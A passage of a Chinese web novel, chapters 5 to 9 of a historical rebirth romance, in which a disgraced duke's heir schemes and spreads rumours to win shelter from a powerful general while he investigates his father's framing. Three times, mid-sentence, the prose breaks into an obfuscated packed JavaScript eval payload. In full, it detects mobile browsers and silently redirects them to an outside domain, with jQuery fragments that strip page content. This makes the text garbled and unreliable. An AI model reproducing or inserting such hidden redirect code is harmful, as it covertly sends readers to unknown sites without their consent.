叶川遥弯起嘴角,眉眼间像镀上一层灿烂春光,嗓音透出一丝狡黠。 “当然是去……” “自荐枕席。” 5. 第5章 凌舟和陈管家同时怔在原地,满脸不可置信,痛心疾首。 他们家身娇玉贵,郎艳独绝的小世子,本可凭八斗之才大展宏图,如今却要为了生计委身他人吗? 若真如此,他们怎么对得起国公爷这些年的照拂? 怎么有脸留在世子身边! 陈管家想着想着不禁老泪纵横。 “不怪少爷,国公府出了如此变故,少爷能撑到如今已是不易,老奴都明白。只是……” “往后的日子虽大不如从前,但庄子上的田租维持温饱应不成问题,世子可莫要做傻事啊!” “是啊少爷,”凌舟也急道,“我还可以出去跑腿,卖艺,保证不让少爷吃苦,少爷可别想不开啊!” “大将军那么吓人,少爷你会被生吞活剥的!” “……” 二人一唱一和,仿佛他要去的不是将军府,而是什么龙潭虎穴。 叶川遥僵硬地扯了扯嘴角。 沈翾他……倒也没有那么恐怖吧? “放心,我心里有数。” 他的语气认真了几分,道:“单靠我们几个,想要查清真相,还父亲清白,实在太难。” 陈管家当即明白过来:“少爷是怀疑,大将军与此事有关?” 若真如此,那去将军府岂不是更危险! 叶川遥若有所思地摇摇头:“沈翾应该不是幕后之人,但以他的权势,一定知道些什么。” “若能留在将军府,或许可以找到一丝线索。” 他顿了顿,接着道:“而且,只有将军府,才能让季寒有几分忌惮。” 上一世,弘江雪灾,父亲带户部前去赈灾,却被诬贪墨,锒铛入狱。 他埋伏在流放路上救人,混战之际不慎落入季寒手中,不仅自己丢了命,还连累了凌舟。 而这一世,只要他还活着,父亲就还有洗刷冤屈的可能。 陈安思忖片刻,点点头,道:“少爷说得有道理。可……一定要用这种法子吗?” “若大将军真的见色起意,对少爷你……” “那可如何是好啊?” 国公爷尚在牢中,若知道世子为了他而受人凌辱,怕是会生不如死。 凌舟也跟着附和:“不行!” “大将军府是什么地方,少爷你一个人去太危险了……” “好了!” 叶川遥打断二人,目光坚定道:“我心意已决,不必多言。” “只要能救出父亲,为国公府洗刷冤屈,我什么都不怕。” 别说一个大将军,就算刀山火海,他也定要闯一闯。 …… 次日辰时,叶川遥大咧咧坐在大将军府门口,等着沈翾下朝。 街上不时有行人经过,一见这副倾城的容貌,都纷纷驻足回眸。 有心痒起了心思的,想上前问问这是谁家的小公子,但抬头一见大将军府的匾额,便再无人敢上前。 眼见路人越来越多,守卫赶不走叶川遥,只好请人进府。 却没曾想叶川遥拒绝得干脆,非要一个人坐在门口等着。 守卫拗不过,又怕伤了人,便只好由着他去了。 艳阳高悬,春末的日头晒得人犯困。 为在下朝前赶到将军府,叶川遥今日寅时便起了。 这会儿晒着晒着,头愈发混沌,眼皮也越来越沉,不知不觉竟靠着石柱熟睡过去。 几个守卫时不时地偷瞄两眼,心里暗自感叹自家将军着实艳福不浅。 痴情如此,也不知他们家将军能不能招架得住。 巳时过半,将军府的马车终于晃晃悠悠地出现。 明烛从马车上跳下来,一眼便瞧见坐在石阶上的人。 略显单薄的身上裹着件粗布衣裳,却无法掩饰那张俊美的容颜。 一头乌发垂在肩头,透白的脸上泛着一层淡淡的粉。 明烛愣了一瞬,回头见沈翾已从马车里俯身而出。 “将军,”明烛朝门口指了指,“世子他……” 沈翾轻飘飘地移目过去。 叶川遥长得不矮,这会儿却蜷缩成小小的一团,歪着头正睡得香甜。 睫毛低垂着,看上去毫不设防,乖顺极了。 传闻中出门要人撑伞,擦破点皮便要哭上一整天的娇弱公子,现下倒是随遇而安得很。 明烛走到守卫面前,训斥道:“怎么能让世子睡在这儿,不知道把人请进去?” 守卫赶忙冤枉地解释:“请了!但世子非要在大门口等大将军回来,说,说……” 见他吞吞吐吐,明烛不耐烦: “说什么了?” 守卫只好硬着头皮道:“世子说,几日未见,大将军定是想他想得紧,他要让将军一眼便能瞧见他!” “……” 四下静了一瞬。 明烛回头看向沈翾,试探着问:“将军,要把人带回府里吗?” 他们家将军身份贵重,关乎天下安危,可万万不能相思成疾,伤了身子啊! 左右世子现在无所依靠,不如就留在大将军府,也好让将军一解相思之苦。 明烛觉得自己可真是太体贴了! 沈翾面无表情地踏上石阶,直至最后一层停下。 垂眸睨一眼还在熟睡的人,面无表情地沉声道:“将人好生送回去。” 说完便径自回府,一刻也未曾停留。 “……” 明烛怔在原地,傻傻地看着沈翾的背影直至消失。 果然是他家将军,真够绝情的。 他叹口气,让车夫在一旁稍候,走上前蹲下身,轻轻拍了拍叶川遥的肩。 “世子醒醒,世子……” 叶川遥迷迷糊糊醒来,脑袋里像装满了浆糊,昏沉得厉害。 他睁眼看见眼前的人,愣了一瞬,扑闪着睫毛问:“阁下哪位?” 明烛弯了弯嘴角,道:“在下明烛,是大将军的近卫。日头高了,在下送世子回去吧。” 叶川遥终于清醒,这才想起自己此行目的。 双目扫过四周,他看见门口停着的马车,急地问明烛:“大将军呢?” 明烛指了指府里:“回去了。” 叶川遥瞪大眼:“什么时候回去的?” “就方才。” 嘤…… 叶川遥心下懊恼,怎么就非在这个时候睡着了呢! 他紧抓着明烛的手臂,央求道:“明将军,能不能带我去见大将军啊?” 见他一脸急色,明烛轻叹道:“世子,强扭的瓜不甜,你又何必如此执着?” “世子天人之姿,何愁遇不到良人?” 叶川遥摇了摇昏沉的脑袋,轻轻垂下眼去,泫然欲泣道:“我心中已有翾哥哥,又岂能容下旁的人?” “我知如今,我与他云泥之别,可却还是存着一丝贪念,想要留在他身边。” “终究是太过奢望了吗?” 柔软又可怜的语气让明烛听了心下一动,竟生出一丝不忍来。 情之所至,又有谁能真的果断抽身,不过是清醒沉沦罢了。 明烛虽不忍,却也无可奈何,只能道:“世子,来日方长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“国公爷的案子不是一时能解决的,世子切莫过度忧思,保重自己才是最重要的啊!” “多谢。”叶川遥接过药,朝明烛道了谢,又看着马车离开才进屋。 陈安和凌舟等了一天,始终没有消息传出来,急得团团转。 眼下见人平安回来,才总算松了口气。 可转眼见叶川遥的手里提着的药,又是一阵紧张。 陈安把药接过,吩咐下人去按方子熬。 不放心地问:“少爷,你这是怎么了,脸色这么不好?” “大将军为难你了?” 叶川遥摇摇头,叹了口气,声音无力道:“没有。” “我连人家的面都没见到。” “啊?”凌舟问,“大将军不肯见少爷?” 叶川遥又摇头,有些难以启齿:“是我没等到他下朝,就……就睡着了。” “……” 陈安和凌舟不知究竟发生了什么,见他脸色不好,便没再多问。 “没见到就算了,我们再想别的法子就是。” 叶川遥沉默片刻,咬牙道:“不能算了。” “他不见我,我便日日去。” 这将军府,他还偏就赖定了! 6. 第6章 夜已深,廊下花丛姹紫嫣红,又闻虫鸣阵阵。 明烛回到府里,见紫云轩灯还亮着,便敲门而入。 “将军怎么还不休息?” 沈翾没抬头,依旧翻看着手里的案卷,漫不经心地问:“人送回去了?” “送回去了。” 沈翾嗯了声:“下去吧。” 明烛却没动,上前一步凑近桌案问:“将军,您真的不打算收留世子啊?” “先不说世子对您情根深种,就是看在卫国公和咱们将军府的交情上,咱们也理应照应一二才是啊!” “如今人家世子都主动找上门了,就这样坐视不理,不好吧?” “情根深种?” 沈翾轻笑一声:“你从哪看出来,他对我情根深种?” 说起这个,明烛眼中浮上一抹兴奋之色,十分笃定道:“世子性子天真单纯,眼里的光做不了假。” “他看将军时,眼睛分外亮!” 沈翾翻页的手指微微一顿。 他回忆着那日在国公府初见那人的场景,想起那双带着惊惧和恨意的眼睛。 是挺亮的。 但与他无关。 他重新翻过案卷,意味不明地看一眼对面的人,幽声道:“你有这瞎操心的功夫,不如多想想自己的事。” “我的事?”明烛一脸迷茫,“我什么事?” 沈翾略带嫌弃地瞥过去,淡淡道:“你若真有窥探真心的本事,又何至于到如今还未能娶亲?” “……” “我……”明烛不服气道:“将军都还未娶亲呢,属下又怎么能先娶亲!” “不如将军早些娶个夫人回来?” 沈翾抬起头,眼神冷冽地看着他,不耐道:“下去歇着吧。” “哦,”明烛不敢再造次,“那属下先去睡了,将军你也别太晚啊!” “等等,”沈翾叫住他,“传信给南桑,让他明日回府一趟。” “是,将军。” 明烛退出去,把门合上。 偌大的书房内只剩下沈翾一人。 他看着面前摇曳跳动的烛火,微微眯起眼。 “情根深种……” 沈翾将这几个字反复默念几遍,不屑地勾了勾嘴角。 …… 叶川遥在庄子上休养几日,感觉身上轻快了许多。 恰逢休沐,他决定再次上门,定要见到沈翾不可。 凌舟追出来:“少爷,我跟你一起去。” “不必,”叶川遥道,“我不会有事的,你留在这里,等叔父的消息。” “不行少爷,你一个人万一再出什么事可怎么好?” “是啊,”陈安附和道,“让凌舟跟着你,有什么事也好有个报信的人。” 叶川遥轻笑,不以为意道:“你们放心,我这次不会再睡着,也不会晕倒了。” “可是少爷……” “好了,你们就留在庄子上等我,若我今夜不回来,定会找人送信给你们。” “走了!” 说完便纵身上马,绝尘而去。 一个时辰后,马蹄声渐歇,叶川遥一身素衣出现在将军府门口。 长身玉立,眉目朗朗,白色发带随风飘起,真是好一位翩翩公子。 看见来人,守卫眼中闪过一抹惊艳之色,转而又满脸愁容地上前:“世子,您怎么又来了?” 叶川遥抬了抬下巴,面不改色道:“你们大将军让我今日前来寻他。” 守卫半信半疑,如实道:“将军现下不在府里,世子改日再来吧。” 不在? “无妨,”叶川遥微微一笑,语气坦然道,“那我去里面等他,你们忙你们的,不必客气。” 说着抬脚就要往门里进,一副不把自己当外人的模样。 “……” 这究竟是谁家? 守卫并肩挡住大门,把人拦住。 “我等并未接到将军的命令,还请世子稍候片刻,容我等先跟管家回禀一声。” “哎哎不用麻烦了!” 叶川遥把人拽住,嘿嘿地笑了两声:“算了,既然将军不在,那我还是晚些时候再来吧,告辞。” 说完利落地翻身上马,朝巷子里奔去。 守卫望着渐渐远去的身影,终于松了一口气。 这个世子,可真是锲而不舍。 不过今日怎的这般好打发,就这么……回去了? 叶川遥在巷子里绕了一圈,最后在离将军府对面不远处的茶楼旁停下,靠着墙边默默地望着那边的动静。 回去? 那是万万不可能的。 许久后,沈翾的车驾终于缓缓出现。 叶川遥眼中一亮,立刻飞奔过去,停在马车前。 “翾哥哥!” 一声清脆响彻四周,守卫被他吓了一跳,路上行人也纷纷驻足回望。 明烛从马车上跳下,看见来人讶异道:“世子?” “你怎么又来了,身体可好些了?” “明将军。”叶川遥冲他咧嘴一笑,眉眼好看地弯起。 “好多了,多谢明将军挂怀。” 他看向明烛身后没了动静的马车,心下一沉,不确定地问:“明将军,大将军呢,没回来吗?” 明烛点头:“将军今日有公务在身,不回府。” “……” 真是见鬼了,叶川遥在心里暗骂一声。 他这是什么运气? 明烛见他脸上浮现落寞之色,一时心生恻隐。 他指了指对面的茶楼:“世子啊,要不……我请你喝杯茶?” 也好,叶川遥心想。 再多等几个时辰,兴许沈翾就处理完公务回府了。 他点点头应下:“那多谢明将军了。” 两人进了茶楼,挑了二楼临窗的位置坐下,低头恰好可见将军府大门。 明烛打量片刻对面的人,忍不住好奇地问:“世子,我能问你一个问题吗?” 叶川遥笑笑:“明将军但说无妨。” “那个,”明烛摸了摸鼻子,俯身凑近些,低声道,“你和大将军,你们真的……” 叶川遥有些不自在地低头抿了口茶,红着脸道:“让明将军见笑了。” 那日在国公府,他故意言语暧昧,无非是为了让不明真相的百姓误会他和沈翾的关系,好让前世那些纠缠他的人有所忌惮,望而却步。 但明烛不一样,他是沈翾身边最亲近的下属,这种谎话在他那里根本立不住脚。 叶川遥索性把话摊开了说:“其实我与大将军,此前的确毫无瓜葛。” 明烛低笑不语,这个他自然知道。 沈翾的行踪他最清楚不过,若两人真有什么,他不可能毫无察觉。 “不过……” 叶川遥放下茶杯,顿了顿,继续道:“我对大将军,确是真心。” “阿遥倾慕大将军已久,只是从未有机会表明心意罢了。” 明烛双眼一亮。 他就说嘛,他绝不会看错! “那若将军始终对你无意,你有何打算?” 叶川遥的脸上露出一抹忧伤之色,轻声道:“我知道,我配不上大将军,可我总要试一试。” “若大将军真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眼看天色渐渐暗沉,叶川遥叹口气,站起身道:“明烛,天色已晚,我还是先回去吧。谢谢你的茶,改日换我请你!” 明烛跟着起身:“也好,那你自己多加小心。” “等将军回来,我定会将今日之事转告于他。” 叶川遥莞尔:“谢谢。” 他不再逗留,快马加鞭回到庄子上。 …… 亥时三刻,紫云轩内亮起灯。 明烛没想到沈翾会这个时候回府,边倒茶边问:“将军,不是说今晚有公务吗,怎的又回来了?” 沈翾接过明烛递过来的茶,抬眼反问:“怎么,我不能回来?” 明烛呲着牙笑:“当然能,我就是随口问问,随口问问。” 真可惜,早知道就该让阿遥再等等的! 他看向沈翾,犹豫片刻,上前道:“将军,今日世子又来咱们府上了。” 沈翾面无表情地嗯了声,似乎并不意外。 明烛试探着问:“您不想知道他说了什么?” “不想。” “……” 明烛向来重义气,答应朋友的事自然要做到。 他不见外地在沈翾对面坐下,把叶川遥今日同他说的话原封不动地复述了一遍。 说完兀自道:“世子一片赤诚之心,着实令人感动!” 见沈翾面无波澜,明烛眨了眨眼,继续壮着胆子问:“将军,世子生得这样好看,又如此深情待您,您就真的……一点儿也不动心?” 四下安静。 沈翾端坐在桌前,纤长手指漫不经心转着茶杯,沉思不语。 须臾后,忽地嗤笑一声。 7. 第7章 皎白月色倾洒大地,风盈一室清凉。 花影摇曳间虫鸣渐歇,唯余几滴甘露氲泽芳华。 明烛一脸兴味地看向沈翾,默默等着对方的回答。 沈翾望向窗外朗朗夜色,须臾后幽声开口:“动心?” “我与他连面都未曾见过,又何来的情深几许?” “这……”明烛愣了愣,思忖着道,“京中谁人不知将军风采,您虽没见过世子,兴许世子见过您呢!” “仰慕将军的人那么多,世子对您动心也不足为奇。” 沈翾懒得同他争辩,明烛却越说越起劲。 “听说这两日,世子频频被人上门烦扰。不光六皇子,还有城东首富家的刘公子,兵部尚书家的韩公子。” “就连望春楼的少东家都去了,还大言不惭说要把世子娶回去做偏房!” “天杀的,他怎么敢的!也不照照镜子看看自己配不配!” 他越说越觉得义愤填膺,唏嘘不已。 “可怜世子还不到弱冠之年,以前那么金尊玉贵的,如今却要被人侮辱至此,实在可怜。” 沈翾听他絮絮叨叨地说完,才不紧不慢地抬了抬眼皮,冷声道:“怎么,你也想去?” “既如此放心不下,那便派你去护着他,如何啊?” 明烛忽地打了个寒颤。 这冰冷的眼神是怎么回事? 他说错什么了? 见自家将军面色不虞,明烛反省片刻,昂首挺胸地高声道:“属下不敢,属下的职责是保护将军,自当时刻留在将军身侧!” 话音刚落,门外自远而近传来一声轻笑:“你又怎么惹到将军了?” 明烛循声看向门口,双目一亮。 太好了,救星来了! 来人一身青色长袍,手中拎着把折扇,半截面具扣在脸上,露出一双带着笑意的眼睛。 看上去年岁不大,身形潇洒,周身却透着股阴鸷之气。 明烛见人进来立马迎上去,声音里不自觉地添了几分喜悦。 “南桑,你什么时候回来的?” “方才。” 南桑摘下面具,笑着朝沈翾颔首:“将军。” 沈翾随手指了指:“坐吧。” 三人相对而坐。 南桑道:“同卫国公一同前去赈灾的户部侍郎孟括,自先前上奏弹劾卫国公贪赃后便告老还乡。” “我们的人一直沿路寻找,却一无所获。直到昨日,才在丹州地带发现他的行踪。” 明烛皱了皱眉,思索着道:“我记得这个孟括的老家是在闽州,他辞官不回乡,去丹州做什么?” “不知,”南桑摇头:“此人一到丹州便住进了客栈,之后便闭门不出,也不曾见过什么人,尚未发现有什么异常之举。” 沈翾听完,吩咐道:“把人看紧,先不要打草惊蛇,看看他近日在和什么人来往。” “是。”南桑应道。 沈翾看向明烛:“大理寺那边进展如何,可查到什么了?” 明烛道:“大理寺这两日把参与赈灾的官员审了个遍,并未审出什么。” “孟括当日指证时虽言之凿凿,却并未拿出什么有力的证据,不足以给卫国公定罪。” 南桑闻言有些担忧道:“此事绝不简单。” “若无有力证据,孟括不会自毁前程站出来诬告,一定还有什么别的阴谋。” “可若幕后之人真的想置卫国公于死地,又为何不早早将证据拿出来?” 明烛和南桑对视一眼,同时蹙眉沉思,一时想不通关窍。 须臾后,听见对面的人开口道:“他们在等。” 二人同时看向沈翾:“等什么?” 沈翾从嘴角挤出一抹轻蔑浅笑,眸色中暗潮涌动。 “在等我。” “原来竟是冲着沈某来的。” 南桑当即明白过来:“他们不拿出最关键的证据,是故意留出时间,等将军出手相救卫国公,进而露出破绽。” “可他们究竟准备了什么证据,敢保证一定能治国公爷的罪,还能牵连到将军您?” 沈翾沉思片刻,道:“不管什么证据,只要是假的,就一定有迹可循。” “传信给阁中弟兄,盯紧孟括,尽快找出与他联络之人。” “是,将军。”南桑应下,突然想起什么,笑了笑。 “对了,属下近日还听到一些关于将军的传言。” 明烛一听立马来了兴致:“什么传言?” 南桑看向沈翾,眼里多了一丝兴味,不紧不慢道:“坊间传言,卫国公世子对大将军情根深种,不惜上门自荐枕席,却惨遭拒绝。” “又有人说,大将军与世子本已私定终身,却恐被牵连,毫不犹豫斩断情丝,与心上人恩断义绝,实属绝情。” “……” 明烛听得一愣一愣的,脸上有些匪夷所思,眼里却带着一丝兴奋。 沈翾面不改色地听南桑说完,并未动怒,甚至还笑了笑,饶有兴致道:“还有呢?” “还有……” 南桑接着道:“世子拒绝了所有人的示爱,包括圣宠正浓的六皇子。” “称……” “心之所属,唯大将军一人。” 明烛忍不住啧啧两声:“世子果真是个痴情人,令人叹服!” 南桑无奈地看他一眼,笑着摇摇头。 沈翾对此不以为意,品着茶嗓音如常地问:“流言的源头可查到了?” “查到了,”南桑点头道,“大部分都是从一个叫陈安的人口中传出去的。” 他顿了顿,看了眼身旁的明烛,道:“这个陈安,便是卫国公府的管家,现下正跟世子住在城外的庄子上。” “啊?” 就是再迟钝,明烛这会儿也明白过来。 他独自愣了片刻,小声道:“世子他,他可能只是想利用传言留在将军府。” “居心不良觊觎他的人那么多,他此举也实属无奈!” 沈翾不屑地轻笑一声,沉着嗓音问:“那你现在还觉得,我该动心吗?” “……” 明烛皱着眉,暗自纠结片刻,末了低声道:“虽说手段特别了些,但世子既有心投靠,我们收留一下又有何妨?” “难不成真要眼睁睁看他被人欺辱了去?将军怎的这般铁石心肠?” “明烛,”南桑出声制止,“莫要胡说。” 明烛抿了抿唇,低着头不再言语。 沈翾轻轻用指尖点了点桌子,未同他计较,凛声道:“还不是时候。” 南桑略一思忖,点点头:“确实,不过想来也快了,世子大抵不会就此安分。” 只剩明烛没听懂:“将军,南桑,你们在说什么呢?” 南桑笑了笑,站起身:“属下告退。” 说完拉起身旁的人:“走了,不要打扰将军休息。” 明烛被拽着边走边回头:“到底什么意思啊,你们两个在打什么哑谜?” 南桑轻笑 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叶青山在信中说,他暗地里联络京中几个国公府旧交,想请他们一起帮忙找人,却被一一婉拒。 叶川遥不怨他们,如今这个境况,他们选择明哲保身也无可厚非。 可到底还是有些不甘。 陈安帮不上什么忙,只能宽慰道:“少爷也不要太过忧心,咱们再等等五皇子那边的消息。” 叶川遥点点头,如今只能寄希望于季岩了。 * 次日黄昏,五皇子季岩不请自来。 一进门,正事未提,先兴冲冲地问:“阿遥,我听说你前几日去了大将军府?” 叶川遥道声是,心想流言传得可真够快。 季岩坐下,苦口婆心地劝道:“阿遥,虽说沈翾确实不错,仪表堂堂又位高权重,但你也犯不着自荐枕席啊!” “你若实在无处可去,大不了来我府上,我养你嘛!” 叶川遥瞪大眼:“啊?” “不是,你别这么看我,我不是那个意思!”季岩慌忙解释。 “我说的养就是……单纯地养,你能明白我在说什么吧?” 叶川遥摇头:“不明白。” “哎呀,就是好吃好喝地供着你,但无需你回报什么,懂了吗?” “哦,那多没意思。” “……” 季岩被噎住,张了张嘴愣在原地。 叶川遥没忍住笑出声:“好啦,不闹了。” 他正色几分道:“殿下,我知你无意卷入朝廷纷争,若不想牵扯其中,可以不用管我。” 季岩轻笑一声,无所谓道:“身在皇家,又怎么可能真的独善其身。” “这个皇子的身份,便是最大的纷争。” 虽然他嘴上这样说,但叶川遥知道,他是为了自己才会搅进这趟浑水。 他看着季岩,眼底满是动容。 季岩后退一步,警惕地拢紧外袍:“阿遥你干嘛?我对你可没有非分之想啊,你可别说出什么以身相许的话来!” “呵呵,”叶川遥扯了扯嘴角,“你想得美!” 季岩看向他,收起玩世不恭的态度,试探着问:“那你对沈翾……是真的喜欢吗?” 叶川遥低眉笑笑,声音听不出情绪。 “喜欢啊。” 他可太喜欢了。 8. 第8章 “真的?” 季岩不知他此话真伪,只觉匪夷所思。 两人自小玩在一块,这么大的事,竟从未听他提起分毫。 “哎不对啊,你不是有思慕之人吗?” 叶川遥身子微僵,嘴角溢出一抹苦笑:“年少时懵懂无知罢了,不值一提。” “哦,”季岩并未深问,“那你今后打算如何?” 叶川遥抬起头,眼底复杂:“喜不喜欢的不重要,得到才是最要紧的。” 季岩瞠目结舌:“你还不死心?” “不怕把沈翾惹急了,一怒之下杀了你?” 叶川遥不为所动。 杀就杀吧,死在沈翾手里,也总好过被季寒那个疯狗凌辱。 “好了,说正事吧。”叶川遥收回思绪。 “我托殿下找的人,可有线索?” 季岩摇头叹气:“我按你信中所说,派人去了丹州,但并未发现孟括此人的行踪。” “你也知道,我一个不受宠的闲散皇子,实在人手有限。” 叶川遥抿了抿唇,眼里满是歉意:“抱歉,连累殿下了。” “连累谈不上,”季岩笑笑,“只可惜没能帮上你。” “不过话说回来,孟括不是告老还乡了吗?那应该在回闽州的路上才是啊,为何要去丹州找人?” “不,”叶川遥笃定道,“他并没有回闽州。” 上一世孟括死在丹州,这一世想必也一定藏在那。 季岩想了想,道:“阿遥,你若真想把人找出来,不如去忘川阁碰碰运气。” “忘川阁?”叶川遥从未听过这个名字。 “嗯,”季岩娓娓道,“忘川阁内可买卖天下消息,对搜集情报颇有手段。” “你去找他们,或许能找到孟括的下落。” 叶川遥眼睛一亮,生出一丝希望。 “好,那要如何联络上他们?” “城东客栈聚贤楼,便是其中一处据点。” 叶川遥心中欣喜,嗓音都轻快了几分:“好,那我明日便去。” 季岩从怀里掏出一沓银票,递给他。 “给,忘川阁的消息可贵得很,得多备点银子。” 叶川遥感激涕零地接过,眼中雾气蒙蒙:“殿下的大恩,阿遥无以为报……” “打住,”季岩抬手打断他,“别说这些没用的。” “别怪我没提醒你啊,忘川阁主性情乖戾,你可要多加小心。” “成败与否,就看你自己的运气喽。” 叶川遥频频点头:“知道了,我会小心的。” 找人的事迫在眉睫,叶川遥没有耽搁,次日便只身去了聚贤楼。 他用季岩给他的暗语找到接头人,又被蒙着眼一路几经周转,才终于见到那位忘川阁主。 密室内烛火通明,一名男子端坐其内,身形俊朗,却半截面具遮面,无法得见真容。 “世子。”男子温声道。 叶川遥看向男子,心下诧异:“阁主认得在下?” 男子轻笑,面具下的唇角微微弯起:“名动京城的第一美人,在下自然认得。” “世子绝伦之貌,今日一见,果然名不虚传。” 叶川遥莞尔道:“阁主谬赞,不过是些虚名罢了,不值一提。” 他抬头看向对方,正色道:“听闻忘川阁知晓天下事,不知可否请阁主,帮在下找一个人?” “什么人?” “前户部侍郎,孟括。” 男子直直地看着他,凌厉的双眸里带了几分探究。 须臾后,才幽声道:“抱歉,世子的委托,恕在下无能为力。” 叶川遥心下一颤:“为何?” 对方不疾不徐,嗓音清冷道:“忘川阁从不参与朝堂事,世子请回吧。” 叶川遥的心里涌上怅惘,不明白老天为何屡屡与他过不去。 “请阁主放心,阁主只需帮在下将人找到,在下保证,绝不会将忘川阁的人牵连进来。” 他弯下腰,朝对方恭敬地行了个大礼,言语恳切:“此人关乎家父性命,还请阁主帮在下这一次。” “他日阁主若有用得着的地方,在下定赴汤蹈火,在所不辞!” 阁主静静地看着他,脸上不为所动,冷声道:“世子有世子的难处,忘川阁也有忘川阁的规矩。世子还是请回吧。” “阁主!” 那人没有理会身后叶川遥的呼喊,径自大步离开。 叶川遥颓力地滑坐在地,鼻尖泛起酸,眼底渐渐被泪意浸湿。 这些日子他努力谋划,自以为重活一世,许多事情都可以改变。 可到头来却还是跟以前一样,什么也做不成。 沈翾也就罢了,为什么连忘川阁也不肯帮他。 一个两个的,都避他如蛇蝎。 约摸一炷香后,叶川遥被蒙眼送回城东的聚贤楼。 他出了门,转头便前往城西的大将军府。 既然都不让他好过,那他们也别想好过。 避着他是吧,他还偏就不信了! 他站在将军府的大门前,想起前世父亲满身的伤痕,想起冰冷的湖水灌进肺腑时那凌迟般的剧痛,鼻头忍不住发酸。 酝酿好情绪,叶川遥一个箭步扑到门口,曲膝坐在石阶上,对着将军府的大门便开始嚎啕大哭。 “翾哥哥,你出来见阿遥一面好不好,阿遥真的好想你啊!” “若往后只能独守相思,阿遥与那行尸走肉有何分别,又有何盼头活在这世上!” “呜呜呜呜……” 守卫一时手足无措。 他们见惯了刀枪剑戟,战场上厮杀都不曾怕过,却唯独没见过这种场面。 想把人拉起来,却只换来一顿拳打脚踢。 “明将军交代过,绝不可伤了世子,这,这可如何是好啊?” “这可不是我等能做主的,快去禀报大将军!” 叶川遥边嚎边侧耳听着,心里一亮。 太好了! 沈翾现下就在府里! 他顿时哭得更大声了…… 百姓们向来最喜欢这种热闹,不过一盏茶的时间,大将军府的匾额前已经围满了人。 “哎呦,这不是卫国公府的小世子吗?怎么哭成这样,怪可怜的!” “你还没听说吗?世子和大将军先前早已私定终身,连肌肤之亲都有了,大将军如今却翻脸不认人,不要世子啦!” “不是还在查吗,怎的就这般划清界限?国公爷那么好的人,怎么可能会贪赃!” “啧啧啧,多好看的小公子啊,真是可惜了……” 肌肤之亲??? 没想到才不过几日,流言竟已……传成这样了? 叶川遥脸上一阵发热,却又不得不硬着头皮演下去。 将军府内,守卫前来回禀时,沈翾正从信鸽腿上取下南桑传来的密信。 他不紧不慢地看完,嘴角弯起一道弧度。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045073|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看来这位小世子是走投无路,打算破釜沉舟了。 明烛听说叶川遥正哭得伤心,立马坐不住了。 “将军,您要不就去见见世子吧!” “是走是留,您见过面再做定夺,行吗?” 沈翾目光冷冽地看他一眼,语气不善道:“你对他倒是关心得很。” 明烛抬了抬下巴,正义凛然道:“世子把属下当朋友,属下自然也要对朋友好。” 他顿了顿,脸上出现落寞的神色,声音也低沉了几分。 “当年属下的爹娘染病身亡,若非有幸得将军相救,我也早已成了一具白骨。” “如今世子身边一个帮他的人都没有,属下知道那种走投无路的滋味,便总是有些于心不忍。” 沈翾看他一眼,嗓音低沉道:“有你如此待他,倒也不算可怜。” 他说着走到窗前,把给南桑的信鸽放飞,转身对着身后的人道:“把人带进来吧。” “是!” 明烛立马双眸发亮,小跑着出去。 门口守卫见围观的人越来越多,只得低着身子哀求道:“世子,属下已经差人去禀报将军,求您别哭了,行吗?” “这……这让人见了多不好!” 叶川遥抬起袖子擦了擦眼泪,哽咽得说不出话。 通红的眼角如冬日里凋落的红梅,妖艳却又透着凄凉。 围观的人群无一不跟着心疼,齐刷刷地对着几个守卫指指点点,痛斥将军府薄情寡义。 眼看着守卫就要招架不住,明烛终于跨步而来。 他的出现无异于救几人于水火,守卫激动得差点哭出来。 “明将军,您可算来了!” 明烛看向门前众人,蹲下身扶住叶川遥手臂。 “阿遥快起来,随我进去。” 叶川遥却没动,吸了吸鼻子,先确认道:“大将军他……肯见我了吗?” “嗯,”明烛肯定地应道:“将军让你随我去前厅。” 成了! 叶川遥擦干眼泪,利落地撑地起身,丝毫不见方才肝肠寸断的模样。 还不忘朝围观的路人鞠了一躬:“多谢诸位关心,阿遥在此谢过诸位了!” “……” 明烛怔怔地看着他,见他回头朝自己轻轻一笑,语气欢快道:“走吧!” “……” “走,走吧。”明烛讷讷地应了声,带人去了前厅。 从进府开始,叶川遥就在设想一会儿见到沈翾的场景。 思考自己该如何晓之以情、动之以理地说服大将军将自己留下。 是抱着他的的腿撒娇卖乖? 还是跪下来求他收留? 撒泼打滚那一套,在外面他用得游刃有余,可当着沈翾的面,他却实在有些放不开。 太丢人了! “将军,世子到了。” 明烛的声音将叶川遥的思绪轻轻拉回。 他看向方椅上端坐之人。 剑眉乌发,眸光凛凛,周身一片肃杀之气,不怒自威。 叶川遥倏地紧张起来,沾着水汽的睫毛轻轻颤抖着,殷红的眼角透着股难以名状的魅惑。 他低下头,郑重地朝沈翾行过礼,轻轻唤了声:“大将军。” 叶川遥还在心底思忖着话语,却见对面已经站起身,朝他信步而来。 一方丝帕转而递到眼前。 他抬头望去,便撞进一双似笑非笑的清眸里。 9. 第9章 叶川遥略显呆滞地看着眼前的人。 那双黑眸如夏日清泉,冬日寒星,冷冽中透着股审视和掌控一切的从容。 仿佛被看透一般,叶川遥莫名有些心虚。 “谢,谢将军。” 他微怔片刻,才抬手从沈翾手中接过丝帕,轻轻拭了拭泛红的眼角。 